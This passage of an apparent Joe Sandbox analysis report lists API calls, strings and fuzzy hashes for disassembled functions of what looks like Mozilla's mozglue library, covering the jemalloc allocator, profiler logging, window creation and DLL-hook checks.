LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MALLOC_OPTIONS, xrefs: 6C6935FE
!oi/, xrefs: 6C690DE2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
Compile-time page size does not divide the runtime one., xrefs: 6C693946

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: !oi/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-3477511302
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

ReleaseDC, xrefs: 6C6B5742
user32, xrefs: 6C6B5601
LoadCursorW, xrefs: 6C6B5774
GetDpiForWindow, xrefs: 6C6B5690
gdi32, xrefs: 6C6B560A
MonitorFromWindow, xrefs: 6C6B578D
ShowWindow, xrefs: 6C6B56DE
GetMonitorInfoW, xrefs: 6C6B57A2
RegisterClassW, xrefs: 6C6B56AC
SetWindowLongPtrW, xrefs: 6C6B57B7
DeleteObject, xrefs: 6C6B57F9
CreateSolidBrush, xrefs: 6C6B57E4
SetWindowPos, xrefs: 6C6B56F7
StretchDIBits, xrefs: 6C6B57CC
GetSystemMetricsForDpi, xrefs: 6C6B5677
FillRect, xrefs: 6C6B5729
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
LoadIconW, xrefs: 6C6B575B
CreateWindowExW, xrefs: 6C6B56C5
GetWindowDC, xrefs: 6C6B5710
EnableNonClientDpiScaling, xrefs: 6C6B5666
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2
!oi/, xrefs: 6C6B34DB

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: $!oi/
API String ID: 3842999660-3069577718
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 61.7, APIs: 30, Strings: 5, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
!oi/, xrefs: 6C69F07C, 6C69F1BA, 6C69F32A, 6C69F41A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: !oi/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-979565733
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

nvdxgiwrap.dll, xrefs: 6C666513
!oi/, xrefs: 6C6664D0
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
nvd3d9wrap.dll, xrefs: 6C666500
detoured.dll, xrefs: 6C6664DA
_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: !oi/$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2998815266
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 50.1, APIs: 21, Strings: 7, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

<jemalloc>, xrefs: 6C67E61C, 6C67E6CC
MOZ_CRASH(), xrefs: 6C67E62B
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5
: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD
MALLOC_OPTIONS, xrefs: 6C67E3FF
!oi/, xrefs: 6C67D85C
Compile-time page size does not divide the runtime one., xrefs: 6C67E621

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: !oi/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-961296194
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction Fuzzy Hash: A592CC71A056018FD724CF29C480755FBE1BF8A728F29CA6DE8698B791D331E841CBD9

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 33.9, APIs: 16, Strings: 3, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
!oi/, xrefs: 6C67ED25
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: !oi/$~qel$~qel
API String ID: 3693777188-1172180041
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 32.9, APIs: 17, Strings: 4, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
!oi/, xrefs: 6C66FEFF
